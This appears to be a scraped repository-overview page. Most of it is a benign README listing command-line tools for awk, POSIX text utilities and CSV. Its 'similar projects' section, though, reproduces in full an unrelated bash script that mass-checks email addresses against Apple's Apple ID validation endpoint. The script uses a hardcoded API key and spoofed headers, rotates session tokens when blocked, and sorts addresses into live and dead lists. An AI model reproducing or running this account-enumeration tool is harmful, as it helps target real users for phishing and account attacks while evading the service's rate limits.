REPOSITORY OVERVIEW

Live repository statistics

★ 7.1KStars

⑂ 249Forks

◯ 3Open issues

◉ 7.1KWatchers

81/100

OPENREPOHUB HEALTH SIGNAL

Strong signals

A transparent discovery signal based on current public GitHub metadata.

Recent activity35% weight

100

Community adoption25% weight

Maintenance state20% weight

100

License clarity10% weight

Project information10% weight

This score does not audit code, security, maintainers, documentation quality, or suitability. Verify the repository and its current documentation before adoption.

README preview

Structured text tools

The following is a list of text-based file formats and command-line tools for manipulating each.

awk-like
CSV
HTML
JSON
Markdown
TOML
XML
YAML
Configuration files
- .env
- /etc/hosts
- INI
- Multiple formats
Log files
Multiformat tools
Templating for structured text
Extra: interactive TUIs
Extra: CLIs for single-file databases
License
Disclosure

awk-like

Tools that work with lines of fields separated by delimiters but do not necessarily support CSV field quoting.

awk

AWK/awk is a programming language and a POSIX-standard command-line tool. (You will sometimes see "awk" used for the tool and "AWK" for the language. This document follows this convention. GNU Awk uses "Awk".) If you run Linux, macOS, or a BSD, you almost certainly have it installed. See below for Windows.

If you already know how to program, the nawk man page is a great way to learn AWK quickly. What you learn from it will apply to other implementations on different platforms. Read it first if you feel overwhelmed by the sheer size of the GNU Awk manual.
awk.info archive — an extensive resource on Awk.
"AWK Vs NAWK Vs GAWK" — a comparison of features present in different implementations.
busybox-w32 includes a full implementation of POSIX awk and other tools like sed in a single Windows executable.
frawk is a Rust implementation of a language partially compatible with AWK that supports parallelism and CSV input and output.
GNU Awk 5 binaries for Windows by EZWinPorts.
GoAWK is a cross-platform implementation of awk with added support for CSV. The project provides binaries for many platforms, including Windows.

POSIX commands

comm — Select the lines common to two sorted files or the lines contained in only one of them. (Manual: man 1 comm on your system, GNU, FreeBSD, POSIX.)
cut — Select portions of each line in one or more files. (Manual: man 1 cut, GNU, FreeBSD, POSIX.)
grep — Select the lines that match or do not match a pattern from one or more files. (Manual: man 1 grep, GNU, FreeBSD, POSIX.)
join — Take two files sorted by a common field and join their lines on the value of that field. Lines with values that do not appear in the other file are discarded. (Manual: man 1 join, GNU, FreeBSD, POSIX.)
paste — Combine several consecutive lines in a text file into one. (Manual: man 1 paste, GNU, FreeBSD, POSIX.)
sort — Sort lines by key fields. (Manual: man 1 sort, GNU, , .)

Other tools

csvquote — Transform CSV to and from a format processable with awk-like tools.
GNU datamash — Perform statistical operations on text input.
Hawk — Transform text from the command-line using Haskell expressions.
pyp — Transform input (as text lines or as a whole) using Python code with automatic module imports. Can generate a Python script equivalent to its invocation. In Python 3.11 or later supports TOML through tomllib.
rq — Convert between Apache Avro, CBOR, CSV, JSON, MessagePack, Protocol Buffers, TOML, YAML, and awk-style plain text.
vnlog — Process labelled tabular ASCII data using normal UNIX tools. Can plot data with gnuplot.

CSV

CSV, TSV, and other delimiter-separated value formats. Tools belong on this list if they support field quoting.

csv-nix-tools — List *nix system information such as environment variables, files, processes, network connections, users as CSV. Manipulate and pretty-print CSV. Execute CSV rows as commands.
csv2html — Convert CSV to HTML tables.
csv2md — Convert CSV to Markdown tables.
csvfaker — Generate CSV files with fake data. Supports different types of fake data in different locales: names, cities, jobs, email addresses, and others.
csvfix — A multitool. Compare, filter, normalize, split, and validate CSV files. Reorder, remove, split, and merge fields. Convert data between fixed-width, multi-line, XML, and DSV format. Generate SQL statements. (Unofficial mirror.)
csvkit — csvkit is a suite of command-line tools for converting to and working with CSV: convert, clean, cut, grep, join, sort, stack, format, render, query, analyze, etc.
csvprintf — Create text output from CSV input with printf(1)-style format specifiers. Convert CSV to JSON, XML, and shell variable assignments.
csvquote — Transform CSV to and from a format processable with awk-like tools.
csvtk — Search, sample, cut, join, transpose, and sort CSV/TSV files. Rename columns. Replace fields and generate new fiends from existing fields. Plot data as vector or raster histograms and box, line, and scatter plots. Convert CSV to Markdown. Convert XLSX to CSV. Split XLSX sheets.
CSVtoTable — Convert CSV to a searchable and sortable HTML table.
dasel — Query and update data structures from the command line. Comparable to jq/yq but supports CSV, JSON, TOML, YAML, and XML. Static binaries available for releases.

ALGORITHMICALLY RELATED

Similar Open-Source Projects

Selected from shared topics, language and repository description—not editorial ratings.

silentjk17 /

app.sh

★ 3

#!/bin/bash RED='\033[0;31m' CYAN='\033[0;36m' YELLOW='\033[1;33m' ORANGE='\033[0;33m' PUR='\033[0;35m' GRN="\e[32m" WHI="\e[37m" NC='\033[0m' echo "" cat <<EOF EOF usage() { echo "Usage: ./apple.sh COMMANDS: [-i <a.txt>] [-r <s/>] [-l {1-1000}] [-t {1-10}] OPTIONS: [-d] [-c] Command: -i (20k-US.txt) File input that contain email to check -r (result/) Folder to store the result live.txt and die.txt -l (60|90|110) How many list you want to send per delayTime -t (3|5|8) Sleep for -t when check is reach -l fold Options: -d Delete the list from input file per check -c Compress result to compressed/ folder and move result folder to haschecked/ -h Show this manual to screen " exit 1 } # Assign the arguments for each # parameter to global variable while getopts ":i:r:l:t:dchu" o; do case "${o}" in i) inputFile=${OPTARG} ;; r) targetFolder=${OPTARG} ;; l) sendList=${OPTARG} ;; t) perSec=${OPTARG} ;; d) isDel='y' ;; c) isCompress='y' ;; h) usage ;; u) updater "manual" ;; esac done # Do automatic update # before passing arguments echo "[+] LATEST UPDATE Sun, Sep 2, 2018 5:10:25 AM [+]" if [[ $inputFile == '' || $targetFolder == '' || $sendList == '' || $perSec == '' ]]; then cli_mode="interactive" else cli_mode="interpreter" fi # Assign false value boolean # to both options when its null if [ -z "${isDel}" ]; then isDel='n' fi if [ -z "${isCompress}" ]; then isCompress='n' fi SECONDS=0 # Asking user whenever the # parameter is blank or null if [[ $inputFile == '' ]]; then # Print available file on # current folder # clear read -p "Enter mailist file: " inputFile fi if [[ $targetFolder == '' ]]; then read -p "Enter target folder: " targetFolder # Check if result folder exists # then create if it didn't if [[ ! -d "$targetFolder" ]]; then echo "[+] Creating $targetFolder/ folder" mkdir $targetFolder else read -p "$targetFolder/ folder are exists, append to them ? [y/n]: " isAppend if [[ $isAppend == 'n' ]]; then exit fi fi else if [[ ! -d "$targetFolder" ]]; then echo "[+] Creating $targetFolder/ folder" mkdir $targetFolder fi fi if [[ $isDel == '' || $cli_mode == 'interactive' ]]; then read -p "Delete list per check ? [y/n]: " isDel fi if [[ $isCompress == '' || $cli_mode == 'interactive' ]]; then read -p "Compress the result ? [y/n]: " isCompress fi if [[ $sendList == '' ]]; then read -p "How many list send: " sendList fi if [[ $perSec == '' ]]; then read -p "Delay time: " perSec fi pais_appleval() { SECONDS=0 check=`curl 'https://appleid.apple.com/account/validation/appleid' -H 'scnt: '$scnt'' -H 'Origin: https://appleid.apple.com' -H 'Accept-Encoding: gzip, deflate, br' -H 'X-Apple-I-FD-Client-Info: {"U":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36","L":"en-US","Z":"GMT+08:00","V":"1.1","F":"sWa44j1e3NlY5BSo9z4ofjb75PaK4Vpjt3Q9cUVlOrXTAxw63UYOKES5jfzmkflJfmczl998tp7ppfAaZ6m1CdC5MQjGejuTDRNziCvTDfWk3qwyWEQEe6qgXK_Pmtd0SHp815LyjaY2.rINj.rINYOK0UjVsYUMnGWFfwMHDCQyG5me6sBLSsbXzU0l6sqKIrGfuzwg9wK9weEwHXXTSHCSPmtd0wVYPIG_qvoPfybYb5EvYTrYesR0CjEcIqnuWxf7_OLgiPFMtrs1OeyjaY2_GGEQIgwe98vDdYejftckuyPBDjaY2ftckZZLQ084akJlJWu_uWA16fUfR0odm_dhrxbuJjkWxv5iJ6KVg8cGYiKY.6elV2pN9csgdmX3ivm_Ud_UeAwHCSFQ_0pNvS_MNJZNlY5DuV25BNnOVgw24uy.CfT"}' -H 'Accept-Language: en-US,en;q=0.9,id;q=0.8,fr;q=0.7,la;q=0.6' -H 'X-Requested-With: XMLHttpRequest' -H 'Cookie: idclient=web; dslang=US-EN; site=USA; aidsp='$sessionId'; ccl=OXqm9r6b+jMZIrOKHBgGZQ==; geo=ID' -H 'Connection: keep-alive' -H 'X-Apple-Api-Key: '$apiKey'' -H 'X-Apple-ID-Session-Id: '$sessionId'' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36' -H 'Content-Type: application/json' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: https://appleid.apple.com/account' -H 'X-Apple-Request-Context: create' --data-binary '{"emailAddress":"'$1'"}' --compressed -D - -s` duration=$SECONDS header="AppleValid" footer="Checking time: $(($duration % 60))sec.\n" val="$(echo "$check" | grep -c 'used" : true')" inv="$(echo "$check" | grep -c 'used" : false')" bad="$(echo "$check" | grep -c 'valid" : false')" icl="$(echo "$check" | grep -c 'appleOwnedDomain" : true')" if [[ $val > 0 || $icl > 0 ]]; then printf "[$header] | ${GRN}LIVE => $1 ${NC} | $footer" echo "LIVE => $1" >> $4/live.txt else if [[ $inv > 0 || $bad > 0 ]]; then printf "[$header] | ${RED}DIE => $1 ${NC} | $footer" echo "DIE => $1" >> $4/die.txt else printf "[$header] | ${CYAN}UNKNOWN => $1 ${NC} | $footer" echo "$1 => $check" >> reason.txt echo "UNKNOWN => $1" >> $inputFile fi fi printf "\r" } if [[ ! -f $inputFile ]]; then echo "[404] File not found." ls -l exit fi # Preparing file list # by using email pattern # every line in $inputFile echo "[+] Cleaning mailist....." grep -Eiorh '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})' $inputFile | tr '[:upper:]' '[:lower:]' | sort | uniq > temp_list && mv temp_list $inputFile # Finding match mail provider echo "########################################" # Print total line of mailist totalLines=`grep -c "@" $inputFile` echo "There are $totalLines of list." echo " " echo "Hotmail: `grep -c "@hotmail" $inputFile`" echo "Yahoo: `grep -c "@yahoo" $inputFile`" echo "Gmail: `grep -c "@gmail" $inputFile`" echo "########################################" # Extract email per line # from both input file IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $inputFile))' con=1 getKey() { echo "Generating new token......" wait resp=`curl 'https://appleid.apple.com/account' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Connection: keep-alive' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.5' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36' --compressed -D - -s -o /dev/null` scnt="$(echo "$resp" | grep "scnt: " | cut -c7- | xargs)" sessionId="$(echo "$resp" | grep "aidsp" | awk -F[=\;] '{print $2}' | xargs)" apiKey='cbf64fd6843ee630b463f358ea0b707b' # echo "$resp" # echo "SCNT: $scnt" # echo "SESSIONID: $sessionId" if [[ $scnt == '' || $sessionId == '' || $apiKey = '' ]]; then sleep 4 echo "IP Blocked by Apple." getKey sleep 2 fi } getKey echo "[+] Sending $sendList email per $perSec seconds" for (( i = 0; i < "${#mailist[@]}"; i++ )); do username="${mailist[$i]}" indexer=$((con++)) tot=$((totalLines--)) fold=`expr $i % $sendList` if [[ $fold == 0 && $i > 0 ]]; then header="AppleValid" duration=$SECONDS echo "[$header] Sleep for $perSec second." sleep $perSec fi vander=`expr $i % 8` if [[ $vander == 0 && $i > 0 ]]; then getKey fi pais_appleval "$username" "$indexer" "$tot" "$targetFolder" "$inputFile" & if [[ $isDel == 'y' ]]; then grep -v -- "$username" $inputFile > "$inputFile"_temp && mv "$inputFile"_temp $inputFile fi done # waiting the background process to be done # then checking list from garbage collector # located on $targetFolder/unknown.txt echo "Waiting for a while." wait wc -l $targetFolder/* if [[ $isCompress == 'y' ]]; then tgl=`date` tgl=${tgl// /-} zipped="$targetFolder-$tgl.zip" echo "[+] Compressing result" zip -r "compressed/$zipped" "$targetFolder/die.txt" "$targetFolder/live.txt" echo "[+] Saved to compressed/$zipped" mv $targetFolder haschecked echo "[+] $targetFolder has been moved to haschecked/" fi #rm $inputFile duration=$SECONDS echo "Checking Time: $(($duration % 60)) second's $(($duration / 60)) minute's and $(($duration / 3600)) hour's." echo ""

structured-text-tools